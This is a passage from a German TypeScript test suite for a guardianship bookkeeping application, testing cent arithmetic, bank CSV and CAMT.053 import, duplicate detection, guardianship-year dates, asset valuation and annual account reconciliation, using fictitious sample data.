|
||||
expect(betragFormatieren(123456n)).toBe('1.234,56')
|
||||
expect(betragFormatieren(-5n)).toBe('-0,05')
|
||||
expect(betragFormatieren(0n)).toBe('0,00')
|
||||
expect(betragFormatieren(100000000n)).toBe('1.000.000,00')
|
||||
})
|
||||
|
||||
it('rundet kaufmännisch, halbe Cent vom Nullpunkt weg', () => {
|
||||
expect(teileGerundet(100n, 3n)).toBe(33n)
|
||||
expect(teileGerundet(200n, 3n)).toBe(67n)
|
||||
expect(teileGerundet(5n, 2n)).toBe(3n)
|
||||
expect(teileGerundet(-5n, 2n)).toBe(-3n)
|
||||
expect(teileGerundet(-100n, 3n)).toBe(-33n)
|
||||
})
|
||||
|
||||
it('verliert beim Aufteilen keinen Cent', () => {
|
||||
const teile = centAufteilen(100n, 3)
|
||||
expect(teile).toEqual([34n, 33n, 33n])
|
||||
expect(summe(teile)).toBe(100n)
|
||||
|
||||
const negativ = centAufteilen(-100n, 3)
|
||||
expect(summe(negativ)).toBe(-100n)
|
||||
|
||||
for (const betrag of [1n, 7n, 99n, 100001n, 123456789n]) {
|
||||
for (const anzahl of [1, 2, 3, 7, 12]) {
|
||||
expect(summe(centAufteilen(betrag, anzahl))).toBe(betrag)
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// CSV-Import
|
||||
// =============================================================================
|
||||
|
||||
const SPARKASSE_CSV = [
|
||||
'Auftragskonto;Buchungstag;Valutadatum;Buchungstext;Verwendungszweck;Beguenstigter/Zahlungspflichtiger;Kontonummer;BLZ;Betrag;Waehrung',
|
||||
'DE89370400440532013000;15.01.2026;15.01.2026;LASTSCHRIFT;Heimkosten Januar 2026;Seniowohnpark Bayreuth;DE02120300000000202051;;-2.345,67;EUR',
|
||||
'DE89370400440532013000;01.02.2026;01.02.2026;GUTSCHRIFT;Rente 02/2026;Deutsche Rentenversicherung;;;1.412,08;EUR',
|
||||
'DE89370400440532013000;03.02.2026;03.02.2026;BARGELD;Barbetrag;;;;-50,00;EUR',
|
||||
'DE89370400440532013000;03.02.2026;03.02.2026;BARGELD;Barbetrag;;;;-50,00;EUR',
|
||||
].join('\r\n')
|
||||
|
||||
describe('CSV-Import', () => {
|
||||
it('erkennt das Semikolon als Trennzeichen', () => {
|
||||
expect(trennzeichenErkennen(SPARKASSE_CSV)).toBe(';')
|
||||
})
|
||||
|
||||
it('schützt Trennzeichen in Anführungszeichen', () => {
|
||||
const zeilen = csvZerlegen('a;"b;c";d\r\ne;"f""g";h', ';')
|
||||
expect(zeilen).toEqual([
|
||||
['a', 'b;c', 'd'],
|
||||
['e', 'f"g', 'h'],
|
||||
])
|
||||
})
|
||||
|
||||
it('findet Kopfzeile und Spalten', () => {
|
||||
const erkennung = csvErkennen(SPARKASSE_CSV)
|
||||
expect(erkennung.trennzeichen).toBe(';')
|
||||
expect(erkennung.kopfzeile[1]).toBe('Buchungstag')
|
||||
expect(erkennung.zuordnung.datum).toBe(1)
|
||||
expect(erkennung.zuordnung.wertstellung).toBe(2)
|
||||
expect(erkennung.zuordnung.betrag).toBe(8)
|
||||
expect(erkennung.zuordnung.waehrung).toBe(9)
|
||||
expect(erkennung.zuordnung.gegenstelle).toBe(5)
|
||||
expect(erkennung.zuordnung.verwendungszweck).toBe(4)
|
||||
})
|
||||
|
||||
it('liest deutsche Zahlenformate und leitet die Richtung aus dem Vorzeichen ab', () => {
|
||||
const ergebnis = csvZuBuchungen(SPARKASSE_CSV)
|
||||
expect(ergebnis.fehler).toEqual([])
|
||||
expect(ergebnis.zeilen).toHaveLength(4)
|
||||
|
||||
const heimkosten = ergebnis.zeilen[0]!
|
||||
expect(heimkosten.betragCent).toBe(234567n)
|
||||
expect(heimkosten.richtung).toBe('AUSGABE')
|
||||
expect(heimkosten.datum.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(heimkosten.gegenstelle).toBe('Seniowohnpark Bayreuth')
|
||||
expect(heimkosten.verwendungszweck).toContain('Heimkosten Januar 2026')
|
||||
|
||||
const rente = ergebnis.zeilen[1]!
|
||||
expect(rente.betragCent).toBe(141208n)
|
||||
expect(rente.richtung).toBe('EINNAHME')
|
||||
})
|
||||
|
||||
it('überspringt Zeilen in fremder Währung, statt sie falsch umzurechnen', () => {
|
||||
const mitDollar = SPARKASSE_CSV.replace(';1.412,08;EUR', ';1.412,08;USD')
|
||||
const ergebnis = csvZuBuchungen(mitDollar)
|
||||
expect(ergebnis.fremdwaehrung).toBe(1)
|
||||
expect(ergebnis.zeilen).toHaveLength(3)
|
||||
expect(ergebnis.fehler[0]!.meldung).toMatch(/USD/)
|
||||
})
|
||||
|
||||
it('meldet ein unlesbares Datum als Zeilenfehler, statt die Datei abzubrechen', () => {
|
||||
const kaputt = SPARKASSE_CSV.replace('15.01.2026;15.01.2026', 'irgendwann;15.01.2026')
|
||||
const ergebnis = csvZuBuchungen(kaputt)
|
||||
expect(ergebnis.zeilen).toHaveLength(3)
|
||||
expect(ergebnis.fehler).toHaveLength(1)
|
||||
expect(ergebnis.fehler[0]!.zeilennummer).toBe(2)
|
||||
})
|
||||
|
||||
it('kommt mit getrennten Soll- und Haben-Spalten zurecht', () => {
|
||||
const csv = [
|
||||
'Datum;Soll;Haben;Verwendungszweck',
|
||||
'15.01.2026;2.345,67;;Heimkosten',
|
||||
'01.02.2026;;1.412,08;Rente',
|
||||
].join('\n')
|
||||
const ergebnis = csvZuBuchungen(csv)
|
||||
expect(ergebnis.fehler).toEqual([])
|
||||
expect(ergebnis.zeilen[0]!.richtung).toBe('AUSGABE')
|
||||
expect(ergebnis.zeilen[0]!.betragCent).toBe(234567n)
|
||||
expect(ergebnis.zeilen[1]!.richtung).toBe('EINNAHME')
|
||||
})
|
||||
|
||||
it('lässt eine Soll/Haben-Spalte das Vorzeichen bestimmen', () => {
|
||||
const csv = [
|
||||
'Buchungstag;Betrag;Soll/Haben;Verwendungszweck',
|
||||
'15.01.2026;2.345,67;S;Heimkosten',
|
||||
'01.02.2026;1.412,08;H;Rente',
|
||||
].join('\n')
|
||||
const ergebnis = csvZuBuchungen(csv)
|
||||
expect(ergebnis.fehler).toEqual([])
|
||||
expect(ergebnis.zeilen[0]!.richtung).toBe('AUSGABE')
|
||||
expect(ergebnis.zeilen[1]!.richtung).toBe('EINNAHME')
|
||||
})
|
||||
|
||||
it('überspringt Vorspannzeilen und findet die Kopfzeile weiter unten', () => {
|
||||
const csv = ['Kontoauszug Nr. 3', 'Zeitraum 01.01.2026 - 31.01.2026', '', SPARKASSE_CSV].join(
|
||||
'\r\n',
|
||||
)
|
||||
const erkennung = csvErkennen(csv)
|
||||
expect(erkennung.kopfzeileNummer).toBe(3)
|
||||
})
|
||||
|
||||
it('liest alle gängigen Datumsformate', () => {
|
||||
expect(datumParsen('15.01.2026')?.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(datumParsen('5.1.2026')?.toISOString().slice(0, 10)).toBe('2026-01-05')
|
||||
expect(datumParsen('15.01.26')?.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(datumParsen('2026-01-15')?.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(datumParsen('15/01/2026')?.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(datumParsen('31.02.2026')).toBeNull()
|
||||
expect(datumParsen('Montag')).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Dublettenschutz beim Import', () => {
|
||||
it('vergibt für zwei gleiche Buchungen am selben Tag verschiedene Referenzen', () => {
|
||||
const ergebnis = csvZuBuchungen(SPARKASSE_CSV)
|
||||
const referenzen = ergebnis.zeilen.map((z) => z.importReferenz)
|
||||
expect(new Set(referenzen).size).toBe(referenzen.length)
|
||||
// Die beiden Barabhebungen unterscheiden sich nur durch die laufende Nummer.
|
||||
expect(referenzen[3]).toBe(`${referenzen[2]}#2`)
|
||||
})
|
||||
|
||||
it('erzeugt für dieselbe Datei denselben Schlüssel – erneuter Import legt nichts doppelt an', () => {
|
||||
const ersterLauf = csvZuBuchungen(SPARKASSE_CSV).zeilen.map((z) => z.importReferenz)
|
||||
const zweiterLauf = csvZuBuchungen(SPARKASSE_CSV).zeilen.map((z) => z.importReferenz)
|
||||
expect(zweiterLauf).toEqual(ersterLauf)
|
||||
|
||||
const markiert = dublettenMarkieren(csvZuBuchungen(SPARKASSE_CSV).zeilen, ersterLauf)
|
||||
expect(markiert.dubletten).toBe(4)
|
||||
expect(markiert.zeilen.every((z) => z.dublette)).toBe(true)
|
||||
})
|
||||
|
||||
it('erkennt eine geänderte Buchung als neu', () => {
|
||||
const referenz = importReferenzBilden({
|
||||
datum: tag('2026-01-15'),
|
||||
betragCent: 234567n,
|
||||
richtung: 'AUSGABE',
|
||||
gegenstelle: 'Heim',
|
||||
verwendungszweck: 'Januar',
|
||||
})
|
||||
const andere = importReferenzBilden({
|
||||
datum: tag('2026-01-15'),
|
||||
betragCent: 234568n,
|
||||
richtung: 'AUSGABE',
|
||||
gegenstelle: 'Heim',
|
||||
verwendungszweck: 'Januar',
|
||||
})
|
||||
expect(referenz).not.toBe(andere)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// CAMT.053
|
||||
// =============================================================================
|
||||
|
||||
const CAMT = `<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:camt.053.001.02">
|
||||
<BkToCstmrStmt>
|
||||
<Stmt>
|
||||
<Acct><Id><IBAN>DE89370400440532013000</IBAN></Id><Ccy>EUR</Ccy></Acct>
|
||||
<Ntry>
|
||||
<Amt Ccy="EUR">2345.67</Amt>
|
||||
<CdtDbtInd>DBIT</CdtDbtInd>
|
||||
<BookgDt><Dt>2026-01-15</Dt></BookgDt>
|
||||
<ValDt><Dt>2026-01-16</Dt></ValDt>
|
||||
<NtryDtls><TxDtls>
|
||||
<RltdPties><Cdtr><Nm>Seniowohnpark Bayreuth</Nm></Cdtr></RltdPties>
|
||||
<RmtInf><Ustrd>Heimkosten Januar 2026</Ustrd></RmtInf>
|
||||
</TxDtls></NtryDtls>
|
||||
</Ntry>
|
||||
<Ntry>
|
||||
<Amt Ccy="EUR">1412.08</Amt>
|
||||
<CdtDbtInd>CRDT</CdtDbtInd>
|
||||
<BookgDt><Dt>2026-02-01</Dt></BookgDt>
|
||||
<NtryDtls><TxDtls>
|
||||
<RltdPties><Dbtr><Nm>Deutsche Rentenversicherung</Nm></Dbtr></RltdPties>
|
||||
<RmtInf><Ustrd>Rente 02/2026</Ustrd></RmtInf>
|
||||
</TxDtls></NtryDtls>
|
||||
</Ntry>
|
||||
</Stmt>
|
||||
</BkToCstmrStmt>
|
||||
</Document>`
|
||||
|
||||
describe('CAMT.053', () => {
|
||||
it('liest Betrag, Richtung, Datum und Gegenstelle', () => {
|
||||
const ergebnis = camtZuBuchungen(CAMT)
|
||||
expect(ergebnis.iban).toBe('DE89370400440532013000')
|
||||
expect(ergebnis.fehler).toEqual([])
|
||||
expect(ergebnis.zeilen).toHaveLength(2)
|
||||
|
||||
const belastung = ergebnis.zeilen[0]!
|
||||
expect(belastung.betragCent).toBe(234567n)
|
||||
expect(belastung.richtung).toBe('AUSGABE')
|
||||
expect(belastung.gegenstelle).toBe('Seniowohnpark Bayreuth')
|
||||
expect(belastung.wertstellung?.toISOString().slice(0, 10)).toBe('2026-01-16')
|
||||
|
||||
const gutschrift = ergebnis.zeilen[1]!
|
||||
expect(gutschrift.richtung).toBe('EINNAHME')
|
||||
expect(gutschrift.gegenstelle).toBe('Deutsche Rentenversicherung')
|
||||
})
|
||||
|
||||
it('rechnet ISO-Beträge ohne Fließkomma in Cent', () => {
|
||||
expect(dezimalZuCent('2345.67')).toBe(234567n)
|
||||
expect(dezimalZuCent('0.01')).toBe(1n)
|
||||
expect(dezimalZuCent('1000')).toBe(100000n)
|
||||
expect(dezimalZuCent('-12.30')).toBe(-1230n)
|
||||
expect(() => dezimalZuCent('1.234')).toThrow()
|
||||
})
|
||||
|
||||
it('lehnt Dateien mit DOCTYPE ab', () => {
|
||||
expect(() => camtZuBuchungen('<!DOCTYPE foo><Document/>')).toThrow(/DOCTYPE/)
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Betreuungsjahr
|
||||
// =============================================================================
|
||||
|
||||
describe('Betreuungsjahr – läuft ab der Bestellung, nicht ab dem 1. Januar', () => {
|
||||
const bestellung = tag('2025-03-15')
|
||||
|
||||
it('beginnt am Tag der Bestellung und endet einen Tag vor dem Jahrestag', () => {
|
||||
const erstes = betreuungsjahr(bestellung, 1)
|
||||
expect(erstes.von.toISOString().slice(0, 10)).toBe('2025-03-15')
|
||||
expect(erstes.bis.toISOString().slice(0, 10)).toBe('2026-03-14')
|
||||
|
||||
const drittes = betreuungsjahr(bestellung, 3)
|
||||
expect(drittes.von.toISOString().slice(0, 10)).toBe('2027-03-15')
|
||||
expect(drittes.bis.toISOString().slice(0, 10)).toBe('2028-03-14')
|
||||
})
|
||||
|
||||
it('ordnet die Randtage dem richtigen Jahr zu', () => {
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2025-03-15'))?.nummer).toBe(1)
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2026-03-14'))?.nummer).toBe(1)
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2026-03-15'))?.nummer).toBe(2)
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2025-12-31'))?.nummer).toBe(1)
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2026-01-01'))?.nummer).toBe(1)
|
||||
})
|
||||
|
||||
it('kennt kein Betreuungsjahr vor der Bestellung', () => {
|
||||
expect(betreuungsjahrZuDatum(bestellung, tag('2025-03-14'))).toBeNull()
|
||||
expect(betreuungsjahre(bestellung, tag('2024-01-01'))).toEqual([])
|
||||
})
|
||||
|
||||
it('lässt bei einer Bestellung am 29. Februar weder Lücke noch Überschneidung', () => {
|
||||
const schalttag = tag('2024-02-29')
|
||||
const erstes = betreuungsjahr(schalttag, 1)
|
||||
const zweites = betreuungsjahr(schalttag, 2)
|
||||
|
||||
expect(erstes.von.toISOString().slice(0, 10)).toBe('2024-02-29')
|
||||
expect(erstes.bis.toISOString().slice(0, 10)).toBe('2025-02-27')
|
||||
expect(zweites.von.toISOString().slice(0, 10)).toBe('2025-02-28')
|
||||
|
||||
// Kein Tag fällt durch: das Ende des ersten Jahres und der Beginn des
|
||||
// zweiten liegen genau einen Tag auseinander.
|
||||
const luecke =
|
||||
(zweites.von.getTime() - erstes.bis.getTime()) / 86_400_000
|
||||
expect(luecke).toBe(1)
|
||||
|
||||
expect(betreuungsjahrZuDatum(schalttag, tag('2025-02-27'))?.nummer).toBe(1)
|
||||
expect(betreuungsjahrZuDatum(schalttag, tag('2025-02-28'))?.nummer).toBe(2)
|
||||
})
|
||||
|
||||
it('zählt alle Jahre bis zum Stichtag auf', () => {
|
||||
const jahre = betreuungsjahre(bestellung, tag('2027-06-30'))
|
||||
expect(jahre.map((j) => j.nummer)).toEqual([1, 2, 3])
|
||||
expect(jahre[2]!.bezeichnung).toContain('3. Betreuungsjahr')
|
||||
})
|
||||
|
||||
it('setzt die Ausschlussfrist der Aufwandspauschale sechs Monate nach Jahresende', () => {
|
||||
const erstes = betreuungsjahr(bestellung, 1)
|
||||
expect(aufwandspauschaleBis(erstes).toISOString().slice(0, 10)).toBe('2026-09-14')
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Vermögen zum Stichtag
|
||||
// =============================================================================
|
||||
|
||||
const hausWertstaende = [
|
||||
{ stichtag: tag('2025-03-31'), wertCent: 21000000n, wertquelle: 'Bodenrichtwert 2025' },
|
||||
{ stichtag: tag('2026-01-15'), wertCent: 19500000n, wertquelle: 'Maklergutachten' },
|
||||
{ stichtag: tag('2026-08-01'), wertCent: 18000000n, wertquelle: 'Kaufangebot' },
|
||||
]
|
||||
|
||||
describe('Vermögen zum Stichtag – der jüngste Wert, der nicht in der Zukunft liegt', () => {
|
||||
it('nimmt den passenden Wertstand, wenn der Stichtag zwischen zwei Bewertungen liegt', () => {
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2025-12-31'))?.wertCent).toBe(21000000n)
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2026-01-15'))?.wertCent).toBe(19500000n)
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2026-07-31'))?.wertCent).toBe(19500000n)
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2026-08-01'))?.wertCent).toBe(18000000n)
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2030-01-01'))?.wertCent).toBe(18000000n)
|
||||
})
|
||||
|
||||
it('benutzt nie einen Wert aus der Zukunft', () => {
|
||||
expect(wertZumStichtag(hausWertstaende, tag('2025-03-30'))).toBeNull()
|
||||
})
|
||||
|
||||
it('trennt Aktiva und Passiva und bildet das Reinvermögen', () => {
|
||||
const bild = vermoegenBerechnen(
|
||||
[
|
||||
{ id: 'haus', bezeichnung: 'Hausgrundstück', art: 'IMMOBILIE', wertstaende: hausWertstaende },
|
||||
{
|
||||
id: 'lv',
|
||||
bezeichnung: 'Lebensversicherung',
|
||||
art: 'VERSICHERUNG',
|
||||
wertstaende: [
|
||||
{ stichtag: tag('2025-06-30'), wertCent: 1234567n, wertquelle: 'Rückkaufswertmitteilung' },
|
||||
{ stichtag: tag('2026-06-30'), wertCent: 1289900n, wertquelle: 'Rückkaufswertmitteilung' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'darlehen',
|
||||
bezeichnung: 'Restdarlehen Sparkasse',
|
||||
art: 'VERBINDLICHKEIT',
|
||||
wertstaende: [
|
||||
{ stichtag: tag('2025-12-31'), wertCent: 4500000n, wertquelle: 'Kontoauszug Darlehen' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'schmuck',
|
||||
bezeichnung: 'Schmuck',
|
||||
art: 'WERTGEGENSTAND',
|
||||
wertstaende: [
|
||||
{ stichtag: tag('2027-01-01'), wertCent: 80000n, wertquelle: 'Schätzung Juwelier' },
|
||||
],
|
||||
},
|
||||
],
|
||||
tag('2026-07-01'),
|
||||
)
|
||||
|
||||
expect(bild.summeAktivaCent).toBe(19500000n + 1289900n)
|
||||
expect(bild.summePassivaCent).toBe(4500000n)
|
||||
expect(bild.reinvermoegenCent).toBe(19500000n + 1289900n - 4500000n)
|
||||
|
||||
// Der Schmuck wurde erst nach dem Stichtag bewertet - er taucht als
|
||||
// Lücke auf, nicht mit einem erfundenen Wert.
|
||||
expect(bild.ohneWert.map((p) => p.id)).toEqual(['schmuck'])
|
||||
|
||||
expect(bild.aktivaGruppen.map((g) => g.art)).toEqual(['IMMOBILIE', 'VERSICHERUNG'])
|
||||
expect(summe(bild.aktivaGruppen.map((g) => g.summeCent))).toBe(bild.summeAktivaCent)
|
||||
})
|
||||
|
||||
it('merkt sich, wie alt der verwendete Wert ist', () => {
|
||||
const bild = vermoegenBerechnen(
|
||||
[{ id: 'haus', bezeichnung: 'Haus', art: 'IMMOBILIE', wertstaende: hausWertstaende }],
|
||||
tag('2026-07-31'),
|
||||
)
|
||||
expect(bild.aktiva[0]!.bewertetAm.toISOString().slice(0, 10)).toBe('2026-01-15')
|
||||
expect(bild.aktiva[0]!.alterTage).toBe(197)
|
||||
expect(bild.aeltesterWertTage).toBe(197)
|
||||
})
|
||||
|
||||
it('zeigt im Wertverlauf die Veränderung zum Vorgänger', () => {
|
||||
const verlauf = wertverlauf(hausWertstaende)
|
||||
expect(verlauf.map((p) => p.veraenderungCent)).toEqual([null, -1500000n, -1500000n])
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Kassenbuch: Belegzwang und Vermischung
|
||||
// =============================================================================
|
||||
|
||||
function buchung(teil: Partial<BuchungEingabe> & { id: string }): BuchungEingabe {
|
||||
return {
|
||||
datum: tag('2026-01-15'),
|
||||
betragCent: 10000n,
|
||||
richtung: 'AUSGABE',
|
||||
kategorie: 'SONSTIGE_AUSGABE',
|
||||
gegenstelle: null,
|
||||
verwendungszweck: null,
|
||||
kontoId: 'giro',
|
||||
belegId: null,
|
||||
belegFehltBegruendung: null,
|
||||
betrifftBetreute: true,
|
||||
vermoegenswirksam: false,
|
||||
...teil,
|
||||
}
|
||||
}
|
||||
|
||||
describe('Belegzwang', () => {
|
||||
it('zählt Buchungen ohne Beleg und ohne Begründung getrennt', () => {
|
||||
const quote = belegquote([
|
||||
buchung({ id: '1', belegId: 'dok-1' }),
|
||||
buchung({ id: '2', belegFehltBegruendung: 'Quittung ging beim Umzug verloren' }),
|
||||
buchung({ id: '3' }),
|
||||
buchung({ id: '4' }),
|
||||
])
|
||||
expect(quote.gesamt).toBe(4)
|
||||
expect(quote.mitBeleg).toBe(1)
|
||||
expect(quote.begruendet).toBe(1)
|
||||
expect(quote.ohneNachweis).toBe(2)
|
||||
expect(quote.quoteProzent).toBe(50)
|
||||
})
|
||||
|
||||
it('behandelt eine leere Kasse als vollständig belegt', () => {
|
||||
expect(belegquote([]).quoteProzent).toBe(100)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Trennung der Vermögensmassen', () => {
|
||||
it('warnt, wenn eine Buchung auf einem Betreuerkonto das Vermögen der Betreuten betrifft', () => {
|
||||
expect(vermischungsWarnung({ aufBetreuerkonto: true, betrifftBetreute: true })).toMatch(
|
||||
/Vermögensmassen/,
|
||||
)
|
||||
})
|
||||
|
||||
it('warnt nicht bei einer eigenen Auslage auf dem eigenen Konto', () => {
|
||||
expect(vermischungsWarnung({ aufBetreuerkonto: true, betrifftBetreute: false })).toBeNull()
|
||||
expect(vermischungsWarnung({ aufBetreuerkonto: false, betrifftBetreute: true })).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Laufende Einnahmen und Ausgaben', () => {
|
||||
it('rechnet zwölf Monate auf den Monat herunter und lässt Einmaliges außen vor', () => {
|
||||
const buchungen: BuchungEingabe[] = [
|
||||
...Array.from({ length: 12 }, (_, i) =>
|
||||
buchung({
|
||||
id: `rente-${i}`,
|
||||
datum: tag(`2026-${String(i + 1).padStart(2, '0')}-01`),
|
||||
richtung: 'EINNAHME',
|
||||
kategorie: 'RENTE',
|
||||
betragCent: 141208n,
|
||||
}),
|
||||
),
|
||||
buchung({
|
||||
id: 'verkauf',
|
||||
datum: tag('2026-05-01'),
|
||||
richtung: 'EINNAHME',
|
||||
kategorie: 'SONSTIGE_EINNAHME',
|
||||
betragCent: 18000000n,
|
||||
vermoegenswirksam: true,
|
||||
}),
|
||||
]
|
||||
|
||||
const bewegungen = laufendeBewegungen(buchungen, tag('2026-01-01'), tag('2026-12-31'))
|
||||
expect(bewegungen.summeEinnahmenCent).toBe(141208n * 12n)
|
||||
expect(bewegungen.monatlichEinnahmenCent).toBe(141208n)
|
||||
expect(bewegungen.einnahmen).toHaveLength(1)
|
||||
expect(bewegungen.einnahmen[0]!.kategorie).toBe('RENTE')
|
||||
})
|
||||
|
||||
it('rechnet den Monatswert aus der Gesamtsumme, damit die Zeilen zur Summe passen', () => {
|
||||
const buchungen = [
|
||||
buchung({ id: 'a', richtung: 'AUSGABE', kategorie: 'PORTO_UND_KOPIEN', betragCent: 100n }),
|
||||
buchung({ id: 'b', richtung: 'AUSGABE', kategorie: 'FAHRTKOSTEN', betragCent: 100n }),
|
||||
]
|
||||
const bewegungen = laufendeBewegungen(buchungen, tag('2026-01-01'), tag('2026-12-31'))
|
||||
expect(bewegungen.summeAusgabenCent).toBe(200n)
|
||||
expect(bewegungen.monatlichAusgabenCent).toBe(teileGerundet(200n, 12n))
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Rechnungslegung und Rechenprobe
|
||||
// =============================================================================
|
||||
|
||||
const konten: KontoEingabe[] = [
|
||||
{
|
||||
id: 'giro',
|
||||
bezeichnung: 'Girokonto Sparkasse',
|
||||
bank: 'Sparkasse Bayreuth',
|
||||
art: 'GIRO',
|
||||
istBetreuerkonto: false,
|
||||
saldostaende: [
|
||||
{ stichtag: tag('2025-03-14'), betragCent: 500000n, quelle: 'Kontoauszug 3' },
|
||||
{ stichtag: tag('2026-03-14'), betragCent: 447641n, quelle: 'Kontoauszug 15' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'privat',
|
||||
bezeichnung: 'Eigenes Konto des Betreuers',
|
||||
bank: null,
|
||||
art: 'GIRO',
|
||||
istBetreuerkonto: true,
|
||||
saldostaende: [{ stichtag: tag('2025-03-14'), betragCent: 999900n, quelle: null }],
|
||||
},
|
||||
]
|
||||
|
||||
describe('Rechnungslegung nach §§ 1859, 1865 BGB', () => {
|
||||
const bestellung = tag('2025-03-15')
|
||||
const jahr = betreuungsjahr(bestellung, 1)
|
||||
|
||||
const buchungen: BuchungEingabe[] = [
|
||||
buchung({
|
||||
id: 'rente',
|
||||
datum: tag('2025-04-01'),
|
||||
richtung: 'EINNAHME',
|
||||
kategorie: 'RENTE',
|
||||
betragCent: 141208n,
|
||||
belegId: 'dok-rente',
|
||||
}),
|
||||
buchung({
|
||||
id: 'heim',
|
||||
datum: tag('2025-04-05'),
|
||||
richtung: 'AUSGABE',
|
||||
kategorie: 'HEIMKOSTEN',
|
||||
betragCent: 193567n,
|
||||
belegId: 'dok-heim',
|
||||
}),
|
||||
buchung({
|
||||
id: 'umbuchung',
|
||||
datum: tag('2025-05-02'),
|
||||
richtung: 'UMBUCHUNG',
|
||||
kategorie: 'UMBUCHUNG',
|
||||
betragCent: 100000n,
|
||||
}),
|
||||
buchung({
|
||||
id: 'auslage',
|
||||
datum: tag('2025-06-01'),
|
||||
richtung: 'AUSGABE',
|
||||
kategorie: 'FAHRTKOSTEN',
|
||||
betragCent: 4200n,
|
||||
betrifftBetreute: false,
|
||||
kontoId: 'privat',
|
||||
aufBetreuerkonto: true,
|
||||
}),
|
||||
buchung({
|
||||
id: 'ausserhalb',
|
||||
datum: tag('2026-04-01'),
|
||||
richtung: 'EINNAHME',
|
||||
kategorie: 'RENTE',
|
||||
betragCent: 141208n,
|
||||
}),
|
||||
]
|
||||
|
||||
it('rechnet Anfangsbestand plus Einnahmen minus Ausgaben zum Endbestand', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'UEBERSICHT_1859',
|
||||
konten,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
|
||||
expect(daten.anfangsbestandCent).toBe(500000n)
|
||||
expect(daten.summeEinnahmenCent).toBe(141208n)
|
||||
expect(daten.summeAusgabenCent).toBe(193567n)
|
||||
expect(daten.probe.rechnerischerEndbestandCent).toBe(500000n + 141208n - 193567n)
|
||||
expect(daten.probe.gebuchterEndbestandCent).toBe(447641n)
|
||||
expect(daten.probe.differenzCent).toBe(0n)
|
||||
expect(daten.probe.stimmt).toBe(true)
|
||||
})
|
||||
|
||||
it('lässt Umbuchungen zwischen eigenen Konten aus den Summen heraus', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'VOLL_1865',
|
||||
konten,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
expect(daten.umbuchungen).toHaveLength(1)
|
||||
expect(daten.summeEinnahmenCent).toBe(141208n)
|
||||
expect(daten.summeAusgabenCent).toBe(193567n)
|
||||
})
|
||||
|
||||
it('führt eigene Auslagen des Betreuers getrennt und nicht im Vermögen', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'VOLL_1865',
|
||||
konten,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
expect(daten.eigeneAuslagenCent).toBe(4200n)
|
||||
expect(daten.belege.map((b) => b.buchungId)).not.toContain('auslage')
|
||||
// Das Konto des Betreuers steht nicht in den Beständen der Betreuten.
|
||||
expect(daten.bestaende.map((b) => b.kontoId)).toEqual(['giro'])
|
||||
})
|
||||
|
||||
it('lässt Buchungen außerhalb des Betreuungsjahres weg', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'VOLL_1865',
|
||||
konten,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
expect(daten.belege.map((b) => b.buchungId)).not.toContain('ausserhalb')
|
||||
})
|
||||
|
||||
it('weist eine Differenz aus, statt sie stillschweigend glattzuziehen', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'UEBERSICHT_1859',
|
||||
konten,
|
||||
// Die Heimkostenbuchung fehlt - der Endbestand ist trotzdem gebucht.
|
||||
buchungen: buchungen.filter((b) => b.id !== 'heim'),
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
|
||||
expect(daten.probe.stimmt).toBe(false)
|
||||
expect(daten.probe.differenzCent).toBe(-193567n)
|
||||
expect(daten.hinweise.some((h) => h.includes('Rechenprobe geht nicht auf'))).toBe(true)
|
||||
})
|
||||
|
||||
it('benennt fehlende Saldostände, statt mit null zu rechnen und zu schweigen', () => {
|
||||
const ohneSalden: KontoEingabe[] = [
|
||||
{ ...konten[0]!, saldostaende: [] },
|
||||
]
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'UEBERSICHT_1859',
|
||||
konten: ohneSalden,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
expect(daten.anfangsbestandCent).toBe(0n)
|
||||
